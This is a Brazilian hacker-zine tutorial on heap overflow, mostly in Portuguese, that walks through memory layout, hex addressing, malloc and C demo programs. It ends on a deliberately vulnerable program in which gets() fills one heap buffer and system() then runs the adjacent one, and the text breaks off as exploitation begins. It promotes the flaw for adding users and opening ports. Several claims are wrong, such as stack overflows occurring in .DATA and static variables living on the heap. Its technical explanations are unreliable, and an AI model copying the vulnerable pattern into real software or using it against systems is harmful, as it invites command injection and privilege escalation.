+================================ ***** ====================================+
|=-------------------=[ <-|-> Corporacao Vibora <-|-> ]=-------------------=|
< _====================================_ >
|=---------------=[ A CENA HACKER UNDERGROUND BRASILEIRA ]=----------------=|
< ====================================== [s] >
| SUA EMPRESA EM BOAS MAOS |
+===========================================================================+
YOUR COMPANY IN GOOD HANDS, OUR HANDS.
Titulo : Heap Overflow (Parity bit edition\r\n)
Autor : 6_Bl4ck9_f0x6
A.k.a : David Diego
Email : b-fox@bol.com.br
"Uma noite destas, vindo da cidade para o Engenho Novo, encontrei num trem da Central
um rapaz aqui dobairro, que eu conheco de vista e de chapeu. Cumprimentou-me, sentou-se
ao pe de mim, falou da lua e dos ministros, e acabou recitando-me versos. A viagem era
curta, e os versos pode ser que nao fossem inteiramente maus. Sucedeu, porem, que, como
eu estava cansado, fechei os olhos tres ou quatro vezes; tanto bastou para que ele
interrompesse a leitura e metesse os versos no bolso."
-- Dom Casmurro de Machado de Assis
[+ ======X============X===============X===== +]
INDICE
[+ ======X============X===============X===== +]
<-+-> 1.0 - Introducao
<-+-> 2.0 - Possiveis utilidades
<-+-> 3.0 - Modelos de memoria
<-+-> 4.0 - Entendendo os enderecos de memoria
<-+-> 5.0 - Overview sobre alocacao dinamica e o utilizacao de static
<-+-> 6.0 - Entendendo o SetUID
<-+-> 6.1 - .Movie
<-+-> 7.0 - Desenvolvendo exploits de Denial of Service
<-+-> 8.0 - Useful links and references
1.0 - introducao
Os pre-requisitos basicos para a leitura e "entendimento" deste texto e' o conhecimento
em nivel intermediario da linguagem de programacao 'C', e conhecimento previo de sistemas
Unix/Linux e Windows, pois neste texto contera' exemplos de exploracao em ambas as plata-
formas. Com esse texto pretendo abordar o funcionamento de uma das inumeras falhas de
seguranca mais exploradas, o bug de 'heap overflow', que comumente e' chamado de 'Buffer
Overrun' por uma grande parte da comunidade de seguranca. Dedicarei esse texto a F3rGO,
Dark_Side, Darkness, Cheat Struck, Emmanuely, AciDmuD, VooDoo, Osmar Ferrante e a todos
que fizeram e que continuam fazendo da cena hacker brasileira, um cena forte.
1.0 - Introduction
The basic requirements to read and learn the informations in this text is the basic knowledge
about programming in C language and previous knowledge on Unix systems and Windows, because
of this text to cointain examples of exploration in both plataforms. This text will cover
the steps to exploit a flaw called 'Heap Overflow' also usually called Buffer Overrun by the
security community. I offer this text to Dark_Side, Cheat Struck, Darkness, F3rGO, Emmanuely,
AciDmuD, VooDoo and to all security experts from Brazil.
2.0 - Possiveis utilidades
De 100 servidores na internet, como servidor de web, sql e ftp, no minimo uns 80 estao
rodando sobre arquitetura Unix, por isso a importancia da obtencao de conhecimento em
sistemas Unix, pela quantidade esmagadora de servidores. Com o conhecimento que aqui
sera' descrito voce sabera' se utilizar dessa falha para adicionar usuarios ao sistema,
abrir portas para um posterior acesso, entre varias outras acoes que, dependendo do seu
nivel de conhecimento sobre Unix, serao quase infindaveis. A distribuicao Linux que
aqui sera' utilizada deriva do Debian, chamada de 'kurumin Linux'. Veja informacoes nao
tao relevantes (para o nosso proposito) sobre minha arquitetura:
2.0 - Possible utilities
The most of the services in the internet like web servers, sql and ftp are running on
Unixes. With this knowledge described below you'll know to use this flaw to add a user
to system, for open ports, between many others good actions. The Linux distribution used
in my samples is called Kurumin Linux (Based on Debian Linux). See below informations
without importance to our purpose, just for convenience (such as the Windows).
sh-3.1$ cat /proc/cpuinfo
processor : 0
vendor_id : AuthenticAMD
cpu family : 15
model : 44
model name : AMD Sempron(tm) Processor 2600+
stepping : 2
cpu MHz : 1599.957
cache size : 128 KB
fdiv_bug : no
hlt_bug : no
f00f_bug : no
coma_bug : no
fpu : yes
fpu_exception : yes
cpuid level : 1
wp : yes
flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 syscall nx mmxext fxsr_opt lm 3dnowext 3dnow pni lahf_lm ts ttp tm stc
bogomips : 3203.58
root@Black_Machine:/home/Black_Fox# cat /etc/issue
Kurumin Linux, Debian Etch \n \l
http://www.guiadohardware.net
sh-3.1$ uname -a
Linux Black_Machine 2.6.18.1-slh-up-2 #1 PREEMPT Wed Oct 25 18:46:42 CEST 2006 i686 GNU/Linux
sh-3.1$ arch
i686
sh-3.1$
3.0 - Modelos de memoria
O modelo usual de memoria depende muito do sistema, me utilizarei como base inicial o
modelo no "Linux/i186" apenas para demonstracao, apesar dos modelos usuais de memoria
serem diferentes para cada sistema, o ponto chave e' o mesmo, Heap e' um local, stack
e' outro. A regiao onde ocorre o Heap Overflow armazena dados em enderecos sequenciais
+-----------+
| .DATA | <-- Regiao onde ocorre o Stack overflow
+-----------+
| .BSS | <-- Regiao onde ocorre o Heap Overflow
+-----------+
| .TEXT | <-- Instrucoes em Assembly (Written in Assembly)
+-----------+
O "stack" overflow ocorre na registao .DATA, o 'Heap overflow' ocorre na regisao '.BSS',
o comum e' usarmos heap overflow p/ sobrescrever os enderecos de memoria na regiao .BSS
"longe" de seus "limites", pois ainda existe a possibilidade de manipulacao de colisoes
entre heap e stack, mas nao e' o foco deste texto descrever tal tecnica. A regiao '.TEXT'
armazena o codigo do programa em assembly, codigos esses que sao representacoes diretas
das instrucoes de maquina, instrucoes essas que por sua vez sao nomeadas de Operational
Codes - Codigos Operacionais, ou simplesmente "OpCodes" .
Exemplo:
OpCode Assembly
90 NOP
O NOP e' convertido em 90 ("Instrucao de maquina"). '90' e' um set instruction (Na linguagem
de programacao "Assembly") em formado OpCode, e esta em hexadecimal, e equivale a 1 byte,
como tantas outras, tal como MOV. Essas instrucoes equivalem a 1 byte porque dois digitos
em hexadecimal equivalem a 8 bits. Para denotarmos valores hexadecimais utilizamos a notacao
'\x' (especificador de constantes hexadecimais em C) dentro da string.
"\x41" <-- A
"\x42" <-- B
"\x43" <-- C
-- cut --
#include <stdio.h>
main (){
printf ("%c, %c e %c\n", 0x41, 0x42, 0x43); }
-- cut --
Resultado:
A, B e C
-- cut --
#include <stdio.h>
main (){
printf ("%x, %x e %x\n", 'A', 'B', 'C'); }
-- cut --
Resultado:
41, 42 e 43
O processador trabalha em nivel hexadecimal/opcodes, e a base numerica utilizada
pelo processador para enderecamento na memoria obviamente que tambem e' essa.
Abaixo voce podera' ver um layout de memoria classico para processos.
+-------------------+
| | <----+
| Stack (Pilha) | |
| | |
+ | + |
| | | |
| V | |
| | |
< > |
| | |
| ^ | |
| | | |
+ | + |
| | |
| Heap | |
| | | +-------------------------+
+-------------------+ +-----< Classical Memory Layout |
| Variaveis globais | | | ======================= |
+-------------------+ | +-------------------------+
|Codigo do programa | <----+
+-------------------+
Como citei anteriormente, lhe dizer a disposicao fisica global de memoria, nao e' possivel,
pois memoria varia de acordo com as implementacoes do C/Compilador, CPU e "ambiente". Esse
e' o modelo ideal para termos em mente. A regiao 'Codigo do Programa' armazena o codigo
executavel do programa. Na regiao "variaveis globais" e' onde todas as variaveis globais
sao armazenadas. A area 'Stack' e' a responsavel por salvar o endereco de retorno das
subrotinas, passar parametros para funcoes, criar variaveis locais, etc. A heap e' a area
responsavel por armazenar dados alocados dinamicamente, e enderecos de variaveis esticas
(static). Como voce pode perceber atraves das setas neste diagrama acima, os ponteiros Heap
e Stack gravam dados convergindo em sentido as suas respectivas areas de alocacao de
memoria disponiveis, podendo ocasionar colisoes, pois essas areas gravao dados convergindo
para a mesma direcao, a stack grava dados a partir do maior endereco (0xffffffff) para o
menor (0x00000000) e a Heap faz o oposto, partindo do menor endereco (0x00000000) para o
maior 0xffffffff.
4.0 - Entendendo os enderecos de memoria
Vou falar primeiramente da unidade de base 16, ou seja, o hexadecimal. Tomarei como exemplo
a base decimal.
0 1 2 3 4 5 6 7 8 9
Observe que o 9 e' o ultimo numero da dezena, depois os numeros comecarao a ser repetidos.
Nesse caso o 1 (10). Observe que comecei do 0, pois para representar o 10 precisei inserir
o 1 ao lado do '0'. A base 16 e' a base numerica utilizada para enderecamento na memoria,
a base hexadecimal propriamente dita. A memoria de qualquer computador e' dividida em
"segmentos", cada seguimento tem 64k de tamanho.
Veja a tabela:
+---+-----------------------------------------------------------+
| 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | A | B | C | D | E | F |
+---+-----------------------------------------------------------+
| | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | | | | | | | |
+_--------------------------------------+ V V V V V V |
| | 10| 11| 12| 13| 14| 15|
| +_---------------------_+
|
+-- > A memoria comeca a ser escrita a partir do endereco 0 em cada
seguimento, assim fazendo o '0' ser o 1 e o F ser o 16. Isso
quando estamos nos referindo a memoria do sistema.
Um outro exemplo:
Para contagem: +---> Os numeros comecam a ser repetidos em hexa
| 2044 = 7FC
|
1 2 3 4 5 6 7 8 9 A B C D E F 10 11 12 13 14 <--- Hexadecimal
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <--- Decimal
Para enderacamento:
0 1 2 3 4 5 6 7 8 9 A B C D E F 0 1 2 3 4 5 6 7 8 9 A B...
|
+--> 16
Quando fazemos calculos com valores hexadecimais nao podemos usar o '0' para representar
o 1, apenas em enderecamento. 1024 bytes = 1 KB. Para saber quantos bytes existem dentro
de determinado numero de KBs, faca isso:
1024 bytes * 64K = 65536 bytes
Digite FFFF em 'Hex' na calc.exe e logo em seguida mude para 'Dec', vera 65535. A calcu-
ladora nao conta '0', mas no nosso calculo acima existe o '0' porque '1024' bytes * '64'k
equivalem e 6553'6' bytes. Como voce pode notar a memoria comeca a ser escrita a partir
do endereco 0. Sempre multiplique o numero de KBs por '1024' que representara os bytes.
Tendo em vista que 8 bits equivalem a 1 byte, para sabermos quantos bits existem dentro
de um determinado numero de bytes, basta multiplicarmos o numero de bytes por 8, que e' o
numero de bits. Veja:
2 bytes * 8 bits = 16 bits
O programa abaixo exibe onde os dados inseridos por nos sao gravados na memoria.
-- I_love.c --
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main (int argc, char **argv){
char heaven[777];
if (argc != 2){
fprintf (stderr, "Use: %s <your_name_here>\n", *(argv+0));
exit (-1);}
memcpy (&heaven, *(argv+1), sizeof (heaven));
fprintf (stdout, "Welcome to Heaven %s\n\n", *(argv+1));
puts ("This is your heaven\n");
int Te_amo=0;
for (Te_amo;Te_amo<=strlen (heaven);Te_amo+=1){
printf ("%X -> %c\n", &heaven[Te_amo], heaven[Te_amo]);}
return (0);}
-- cut --
6_Bl4ck9_f0x6@Black_Machine:~/Desktop$ gcc -o love I_Love.c
6_Bl4ck9_f0x6@Black_Machine:~/Desktop$ ./love
Use: ./love <your_name_here>
6_Bl4ck9_f0x6@Black_Machine:~/Desktop$ ./love David
Welcome to Heaven David
This is your heaven
BFA69E73 -> D
BFA69E74 -> a
BFA69E75 -> v
BFA69E76 -> i
BFA69E77 -> d
BFA69E78 ->
6_Bl4ck9_f0x6@Black_Machine:~/Desktop$
Compilarei e executarei este mesmo programa no windows, repare nos enderecos
de memoria:
C:\Documents and Settings\David>gcc c:\I_Love.c -o love
C:\Documents and Settings\David>love.exe
Use: love.exe <your_name_here>
C:\Documents and Settings\David>love.exe "<->6_Bl4ck9_f0x6<->"
Welcome to Heaven <->6_Bl4ck9_f0x6<->
This is your heaven
22FC60 -> <
22FC61 -> -
22FC62 -> >
22FC63 -> 6
22FC64 -> _
22FC65 -> B
22FC66 -> l
22FC67 -> 4
22FC68 -> c
22FC69 -> k
22FC6A -> 9
22FC6B -> _
22FC6C -> f
22FC6D -> 0
22FC6E -> x
22FC6F -> 6
22FC70 -> <
22FC71 -> -
22FC72 -> >
22FC73 ->
C:\Documents and Settings\David>
Como foi anteriormente citado, os dados sao gravados na memoria a patir do endereco '0'
a 'F'. Observe que a primeira letra da string <->6_Bl4ck9_f0x6<-> e' salva no endereco
22FC60, essa faixa se inicia com '0' e vai ate' o 'F' (22FC6F -> 6), depois o valor
volta a ser '0' ( 22FC70 -> < ), pois em hexadecimal o maior numero e' F. Repare que o
numero a esquerda era 6 (22FC'6'F), quando uma linha de endereco chega a F, alem deste
endereco voltar a ser 0, o numero que esta' ao lado deste, e' incrementado (Neste caso),
ou seja, 22FC'7'0. Existem implementacoes que salvam dados do maior endereco (0xffffffff)
para o menor (0x00000000 <- Nao chega ate' aqui porque o sistema tambem usa memoria, as-
sim fechando o programa.) e vice-versa. A maneira de alocacao de dados para variaveis na
memoria varia muito, os fatores que interferem nesse caso ja fora citados (Compilador/C,
Plataforma, etc...). A stack armazena dados do maior endereco ate' o menor, ou seja, o
programa "tende" a chegar ao endereco 0x00, mas isso e' impossivel pois estes enderecos
iniciais sao reservados para o sistema, assim ocasionando o imediato fechamento da apli-
cacao violadora. Para nos referirmos a enderecos de memoria devemos especificar que se
trata de valores hexadecimais, portanto devemos especificar o '0x' (notacao utilizada
como desinencia para algarismos em hexadecimal).
Veja:
main (){
printf ("%d", 0xA); }
Resultado:
10
No exemplo acima (I_love.c), matrizes de caracteres ("strings") sao armazenadas em ende-
recos sequenciais/continuos. Em hardware de 32 bits uma faixa de memoria cheia e' equiva-
lente ao hexadecimal 0xffffffff, pois dois digitos hexa equivalem a um byte ('8' bits), a
faixa de enderecos acima possui '8' digitos em hexa, isso e' igual a 4 bytes, 32 bits. Em
hardware de 16 bits um numero inteiro ocupa 2 bytes na memoria porque 0xffff e' o maior
endereco em hardware de 16 bits, tendo em vista que uma variavel do tipo int ocupa uma
faixa intEIRA na memoria. Cada tipo de variavel ocupa uma quantidade de dados na memoria.
Um caractere (char) ocupa apenas 1 byte na memoria, uma variavel do tipo int, ja citada,
ocupa quatro bytes contiguos (Hardware de 32 bits), uma variavel do tipo long tambem ocupa
4 bytes, double 8 bytes, etc. Um ponteiro sempre tera' o tamanho de 4 bytes em hardwares
de 32 bits, nao importa o seu tipo. Voce podera' ver a quantidade de bytes que uma
variavel ocupa no seu sistema usando o operador sizeof().
#include <stdio.h>
main (){
printf ("char : %d byte\n", sizeof (char));
printf ("int : %d bytes\n", sizeof (int));
printf ("float : %d bytes\n", sizeof (float));
printf ("double : %d bytes\n", sizeof (double));
printf ("int pointer : %d bytes\n", sizeof (int *));
printf ("double pointer : %d bytes\n", sizeof (double *));
}
Resultado:
sh-3.1$ gcc len.c
sh-3.1$ ./a.out
char : 1 byte
int : 4 bytes
float : 4 bytes
double : 8 bytes
int pointer : 4 bytes
double pointer : 4 bytes
Para uma melhor compreensao, darei um exemplo de alocacao de memoria para armazenar
determinados tipos de variaveis, usando enderecos ficticios.
-- corte aqui --
main (){
int numero=5;
char letra='C';}
-- cut here --
0x00000000 <----
0x00000001 |_____ Memoria relativa a variavel numero.
0x00000002 | Esses 4 bytes armazenam o numero 5.
0x00000003 <----
0x00000004
0x00000005
0x00000006
0x00000007
0x00000008
0x00000009
0x0000000A
0x0000000B
0x0000000C
0x0000000D
0x0000000E
0x0000000F
0x00000010 <--------- Uma variavel do tipo char ocupa 1 byte na memoria
0x00000011 (0x00000010). O indice de matrizes em C e' '0' p/
referenciar o primeiro elemento da matrix porque
matrizes sao alocadas a partir do endereco 0 na
memoria (como visto).
(...)
FFFF FFFF = 4 bytes
1234 5678
+------<>----------------------<>-------------<>------------+
0x00000000 <---- |Esse e' o espaco reservado para uma variavel inteira em |
0x00000001 |_____ |hardware de 32 bits. Cada faixa dessa equivale a 1 byte. |
0x00000002 | |Repare que um int equivale a 4 bytes nesse exemplo porque |
0x00000003 <---- |o endereco de memoria maximo e' 0xffffffff (8 algarismos |
|em hexadecimal... 4 bytes). |
+------<>----------------------<>-------------<>------------+
Como havia citado acima, as areas de memoria reservadas para matrizes costumam ser
reservadas para alocacao a patir do endereco 0, por isso o indice em C e' '0'. Veja
um exemplo com matrizes de caracteres (strings):
-- Hundred.c --
#include <stdio.h>
int main (void){
char str1[]="My";
char str2[]="name";
char str3[]="is";
char str4[]="David";
int indice=0;
for (indice;indice<=strlen (str1);indice+=1)
printf ("%X -> %c\n", &str1[indice], str1[indice]);
for (indice=0;indice<=strlen (str2);indice+=1)
printf ("%X -> %c\n", &str2[indice], str2[indice]);
for (indice=0;indice<=strlen (str3);indice+=1)
printf ("%X -> %c\n", &str3[indice], str3[indice]);
for (indice=0;indice<=strlen (str4);indice+=1)
printf ("%X -> %c\n", &str4[indice], str4[indice]);
return (0);}
-- cut --
C:\>Hundred.exe
22FF60 -> M
22FF61 -> y
22FF62 -> <-- \0 Terminador de string
22FF50 -> n
22FF51 -> a
22FF52 -> m
22FF53 -> e
22FF54 -> <-- \0
22FF40 -> i
22FF41 -> s
22FF42 -> <-- \0
22FF30 -> D
22FF31 -> a
22FF32 -> v
22FF33 -> i
22FF34 -> d
22FF35 -> <-- 0
Repare que essas matrizes sao todas alocadas umas proximas das outras. Quando nao
existe mais dados em uma determinada matriz entao a "matriz" vizinha e' alocada na
memoria, e como voce pode perceber, a memoria procura o endereco seguinte que
tenha '0' disponivel e aloca a segunda matriz e assim por diante.
Observe os enderecos no Linux:
-- cut this file here --
#include <stdio.h>
main (){
char letra='M';
int numero=5;
double alundra=10.5;
float *pointer;
printf ("Endereco de letra : %p\n", &letra);
printf ("Endereco de numero : %p\n", &numero);
printf ("Endereco de alundra: %p\n", &alundra);
printf ("Endereco de pointer: %p\n", &pointer);
}
-- cut here --
sh-3.1$ gcc Minority.c -o minory
sh-3.1$ ./minory
Endereco de letra : 0xbfbe2ddf
Endereco de numero : 0xbfbe2dd8
Endereco de alundra: 0xbfbe2dd0
Endereco de pointer: 0xbfbe2dcc
sh-3.1$
Veja que nao existe uma sequencia nos enderecos, isso se deve ao fato de uma memoria RAM -
Ramdom Access Memory - Memoria de Acesso Aleatorio, como o proprio nome sugere, escrever em
qualquer endereco de memoria disponivel para alocacao de forma aleatoria. No modelo de
memoria que utilizaremos como "pista" para a exploracao os dados sao alocados/gravados na
Heap em enderecos de memoria contigua, como as matrizes. A memoria anteriormente vista e' a
memoria virtual, e como voce pode notar o esquema de enderecamento da mesma e' bastante
simples, cada processo/programa possui um endereco na memoria virtual (como ja visto, parte
de 0x00000000 em direcao a 0xffffffff), o que acontece e' que esse endereco e' mapeado para
a memoria fisica no momento da execucao do processo. O limite maximo de memoria virtual para
cada processo e' de dois GB (Giga bytes), como tambem ja citado o sistema tambem usa memoria
virtual, ou seja, se utiliza de uma parte desses bytes virtuais. Como voce podera' claramente
notar em qualquer debugger, a stack tambem faz parte da memoria virtual porque ela tambem e'
enderecavel usando o esquema acima (0x00000000 a 0xffffffff). Mesmo o endereco virtual sendo
convertido em endereco fisico na execucao do programa (Copia do mesmo para a memoria), nao
devemos de forma alguma pre-julgar que o mesmo seja representante direto e estatico para
cada pedaco da memoria fisica, porque a memoria virtual e' muito relativa, isso quer dizer,
que uma variavel pode estar armazenada em um determinado endereco virtual, mas nada impede
que outra variavel tambem esteja armazenada neste mesmo endereco virtual, o que acontece de
fato e' que no momento da execucao do programa a memoria virtual mapeia os dados de cada uma
para uma parte diferente na memoria fisica. Apesar de um programa nao compartilhar
"literalmente" sua memoria virtual com outro, isso nao e' regra.
5.0 - Overview sobre alocacao dinamica e o utilizacao de static
Alocacao dinamica como o proprio nome ja da a entender, nada mais e' que voce alocar/reservar
memoria para determinadas constantes que sao passadas pelo usuario do programa em tempo de
execucao (O termo tempo de execucao refere-se a eventos gerados durante a execucao de um pro-
grama). Uma das funcoes em C utilizada para tal se chama 'malloc()', citada por se tratar da
principal. Veja uma declaracao tradicional de ponteiro do tipo 'char':
char *pointer;
Esse ponteiro nao possui um limite para alocacao de dados definido, vou "mallocar"/alocar
memoria para o mesmo e apos isso ele "pode armazenar" 5 bytes na memoria, veja:
pointer=(char *)malloc (sizeof (char) * 5);
O operador 'sizeof()' retorna um tamanho de variaveis, matrizes ou tamanho de tipos, ou
seja, 1 * 5, tendo em vista a disponibilidade para armazenagem de um byte para variaveis
declaradas com o especificador 'char'. Como estamos lidando com o valor de "retorno" do
operador sizeof() precisaremos de um typecast '(char *)', que utilizado indica que os
dados que serao posteriormente alocados no ponteiro sao bytes para caracteres, ou seja,
o valor de "retorno da malloc()" sera' convertido em 'char', pois o ponteiro *pointer e'
do tipo char. Vamos a um exemplo de alocacao de dados e "controle" dos mesmos ao serem
passados para o ponteiro.
-- cut --
#include <stdio.h>
#include <stdio.h>
#define says printf
main (int argc_d, char **argv_d){
if (argc_d != 2){
says ("Uso: %s <seu_nome>",*(argv_d));
exit (-1);}
if (strlen (*(argv_d+1)) > 5){
fprintf (stderr, "Seu nome possui mais de 5 letras\n");
return 0;}
char *pointer;
pointer=(char *)malloc (sizeof (char) * 5);
strncpy (pointer, *(argv_d+1), 0x05);
says ("Oi ");
puts (pointer);
free (pointer); // A funcao 'free()' libera a memoria alocada
}
-- cut --
Result in the windows:
C:\>mac.exe
Uso: mac.exe <seu_nome>
C:\>mac.exe David
Oi David
C:\>mac.exe David2
Seu nome possui mais de 5 letras
C:\>
O argumento inteiro da funcao malloc() reserva dados na area 'Heap' no modelo usual
de memoria utilizado. Observe abaixo um outro exemplo de alocacao dinamica em C.
char *strdup (const char *string);
O que essa funcao faz e' basicamente alocar espaco na memoria referente a "string" e
depois retornar um ponteiro para a tal. Essa funcao faz o mesmo que o malloc(), o que
difere as duas e' que ao inves de alocarmos memoria com o 'malloc()' e nos utilizarmos
de funcoes auxiliares para copia de dados, usamos o strdup() que aloca e copia os dados
de uma unica vez.
-- cut --
main (){
char *pointer;
pointer= strdup ("Simples string"); /* Retorna a string devidamente alocada */
puts (pointer); // Imprime a string na shell
free (pointer); // Libera a memoria alocada (Na heap)
}
-- cut --
Com relacao ao static:
static char buffer[10];
Ira' alocar 10 bytes tambem "na heap", pois variaveis declaradas como estaticas, alocam
espaco nessa regiao.
Recordaremos agora o Stack Overflow (simples overview).
-- quote --
....
char variavel[7]; < --- > tipo variavel[buffer];
Cada caractere que uma variavel do tipo char armazena equivale a 1 byte, a string "luzinha"
contera' um total de 7 bytes sem contar com o terminador de string ('\0'). Sempre temos que
reservar um byte no buffer para o terminador nulo (\0), ou seja:
char variavel[8] = "luzinha\0";
Definimos acima que a variavel de nome 'variavel' sera' do tipo char e reservara' 8 bytes,
ou seja, a variavel teria um buffer ( local de armazenamento na memoria ) responsavel por
comportar 8 caracteres, pois cada caractere equivale a 1 byte. Caso aja a insercao de mais
dados que um buffer pode suportar aparentemente nao acontece nada, pois o programa podera'
aceitar (Nao exibira' nenhum alerta de erro, para ser mais especifico), mas ocorre o chamado
buffer overflow, ou simplesmente, estouro de buffer, ocasionando a reescritura da area de
memoria reservada para a variavel na stack.
Exemplo:
-------- overflow.c --------
#include <stdio.h>
main (void){
char str[3];
printf ("Estoure meu buffer [size buffer:3]:");
gets (str);
printf ("%s",str);}
---------- cut ----------
Resultado:
C:\Documents and Settings\David\Desktop>overflow
Estoure meu buffer [size buffer:3]:ab < -- 2 caracteres + o terminador \0 = 3 (Normal)
ab
C:\Documents and Settings\David\Desktop>overflow
Estoure meu buffer [size buffer:3]:1234567891011 < -- Problema, mas nao existe emissao de alerta pelo sistema.
1234567891011
C:\Documents and Settings\David\Desktop>overflow
Estoure meu buffer [size buffer:3]:destroyeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeer
destroyeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeer
Devido ao numero excessivo de bytes inseridos na memoria acabamos por alcansar o endereco
de retorno na stack e o Windows XP SP1 emitiu a seguinte mensagem:
O overflow.exe encontrou um problema e precisa ser fechado.
-- corte aqui --
Ja que na Heap os enderecos sao armazenados em locais contiguos se desenvolvermos uma
aplicacao que reserva memoria em uma regiao da Heap e nessa mesma aplicacao conter
outra instrucao que tambem aloca memoria na mesma, os dados serao armazenados um
apos o outro.
Exemplo de alocacao de 10 bytes na Heap:
char *pointer;
pointer=(char *)malloc (10);
Reservo mais 10:
char *pointer2;
pointer2=(char *)malloc (10);
Estarao em enderecos visinhos na memoria. Veja um outro exemplo compilado sobre a
plataforma Windows.
-- cut --
#include <stdio.h>
main() {
char *pt1, *pt2;
pt1 = (char *) malloc (10);
pt2 = (char *) malloc (8);
system ("cls");
strcpy (pt1, "012345678");
strcpy (pt2, "1234567");
int i=0;
fprintf (stdout, "\nCaractere --- Endereco Virtual\n\n");
for (i;i<= strlen (pt1);++i)
printf ("%c --> %x\n", pt1[i], &pt1[i]);
puts ("");
for (i=0;i<= strlen (pt2);++i)
printf ("%c --> %p\n", pt2[i], &pt2[i]);
}
-- cut --
Caractere --- Endereco Virtual
0 --> 3d24b0
1 --> 3d24b1
2 --> 3d24b2
3 --> 3d24b3
4 --> 3d24b4
5 --> 3d24b5
6 --> 3d24b6
7 --> 3d24b7
8 --> 3d24b8
--> 3d24b9
1 --> 003D2448
2 --> 003D2449
3 --> 003D244A
4 --> 003D244B
5 --> 003D244C
6 --> 003D244D
7 --> 003D244E
--> 003D244F
C:\>_
Dois detalhes seguem agora: O %p nos mostra os enderecos ('VIRTUAIS') de memoria
em um formato completo (0x00000008), enquanto o %x apenas mostra os enderecos de
memoria virtual "utilizados". O outro:
-- cut --
#include <stdio.h>
main() {
char *pt1;
pt1 = (char *) malloc(sizeof (char) * 10);
// Se a malloc() nao conseguir alocar o numero de bytes na memoria ela retorna um NULL (0)
if (!pt1){
fprintf (stderr, "Memoria insuficiente\n");
exit (-1);}
fprintf (stdout, "\n\"Caractere\" -- Endereco Virtual\n\n");
strcpy (pt1, "138ABCJ");
int i=0;
for (i;i<=strlen (pt1);++i)
printf ("%c --> %x\n", pt1[i], &pt1[i]);
}
-- cut --
Resultado:
C:\>heap
"Caractere" -- Endereco Virtual
1 --> 3d24b0
3 --> 3d24b1
8 --> 3d24b2
A --> 3d24b3
B --> 3d24b4
C --> 3d24b5
J --> 3d24b6
--> 3d24b7
C:\>_
Note que nao existe sequencia nos enderecos virtuais por razoes ja descritas, pois a
sequencia nos enderecos sao referentes a memoria fisica referente a regiao heap, onde
os enderecos sao armazenados de forma continua, na memoria virtual apenas existe uma
sequencia explicita em enderecos virtuais de matrizes. Como pode ser observado o 'E'
comercial ('&') escrito no codigo fonte acima 'retorna' o endereco de memoria de
variaveis, enderecos esses que serao lidos (%x). O 'Estouro de Heap' ocorre de forma
similar ao stack overflow, o que difere e' que ao inves de inserirmos mais dados do
que foram reservados para uma variavel na stack, inserimos mais dados que um ponteiro
"mallocado" pode armazenar, e isso faz com que estouremos os limites de memoria
reservada para um ponteiro e assim alcansando os endereco dos ponteiros que foram
mallocado vizinhos ao primeiro. O nome Heap Overflow *Transbordar de Heap* nada mais
e' que uma alusao ao fato de "estourarmos/transbordarmos" os enderecos de memoria de
um ponteiro mallocado na heap, pois os dados alocados ('mallocados()') dinamicamente
na memoria, ficam nesta area, junto com as variaveis estaticas. Para ver enderecos
"fisicos" de uma variavel ou matriz o codigo de controle %d em C. Imagine um programa
que aloca dois ponteiros na memoria, esse mesmo programa pega dados digitados pelo
usuario e copia os mesmos para o primeiro ponteiro, o segundo ponteiro e' usado para
executar um comando do 'sistema logo apos a copia de dados para o primeiro ponteiro,
esse segundo ponteiro ou variavel estatica e' mallocado depois do primeiro na heap,
se nos enchermos o primeiro ponteiro de dados vamos alcancar o endereco do segundo
ponteiro, no qual contem um comando do sistema (Por exemplo). Para encontrarmos esse
tipo de falha basta inserirmos ao 'pt1' dados fazendo com que os mesmos transbordem a
regiao de memoria referente numeros de bytes reservados, e ao termino disto, escreve-
mos um comando qualquer, isso significa que estaremos escrevendo no endereco onde
fica armazenado o comando depois de "estourar" a Heap ate' alcancarmos o endereco da
instrucao que sera' executada pela funcao system(), isso faz com que 'system()' acabe
por executar o que inserirmos. Se esta mesma aplicacao trabalhar com SetUID entao
executamos comandos com os privilegios do dono do programa. Demonstrarei um exemplo
de exploracao simples, no qual sobrescrevemos "ponteiros".
Exemplo I.: Sobrescrevendo pointers.
-- cut --
#include <stdio.h>
#include <stdlib.h>
main (){
char *pointer_one;
char *pointer_two;
pointer_one= (char *) malloc (10);
pointer_two= (char *) malloc (10);
system ("cls & color a");
printf ("Endereco fisico de pointer_one: %d\n", pointer_one);
printf ("Endereco fisico de pointer_two: %d\n", pointer_two);
puts ("");
fprintf (stdout, "Endereco virtual de pointer_one: %p\n", &pointer_one);
fprintf (stdout, "Endereco virtual de pointer_two: %p\n", &pointer_two);
sprintf (pointer_two, "echo Bem vindo a %s irmao", "Matrix");
puts ("\nMe diga seu nome:");
gets (pointer_one);
system (pointer_two);
}
-- cut --
Execucao normal do programa:
Endereco fisico de pointer_one: 4007096
Endereco fisico de pointer_two: 4007120
Endereco virtual de pointer_one: 0022FF74
Endereco virtual de pointer_two: 0022FF70 <--- Ponteiro ocupa 4 bytes na memoria.
Me diga seu nome:
David
Bem vindo a Matrix irmao
C:\>
Observe os enderecos acima.
4007096 --> pointer_one
4007120 --> pointer_two
A heap armazena dados do menor endereco para o maior nesse caso. Veja que o primeiro
ponteiro declarado foi a pointer_one, portanto ele que sera' alocado primeiro. Repare
agora que o pointer 'pointer_two' se inicia exatamente 24 bytes dpois do buffer1.
4007096 + 24 = 4007120 (4007120 e' o endereco de pointer_two)
"Nos" ao escrevermos o codigo do programa nao reservamos/mallocamos 24 bytes na memoria,
na verdade apenas malocamos na heap 10 bytes, o que acontece e' que esses 14 bytes
adicionais sao usados pela syscall (chamada de sistema) 'malloc' para permitir que a
memoria retorne ao uso geral quando a mesma for liberada ('free()'), esses bytes extras
variam de acordo com o ambiente. Agora vamos a exploracao.
C:\>call heap_overflow.exe
Endereco fisico de pointer_one: 4007104
Endereco fisico de pointer_two: 4007128
Endereco virtual de pointer_one: 0022FF74
Endereco virtual de pointer_two: 0022FF70
Me diga seu nome:
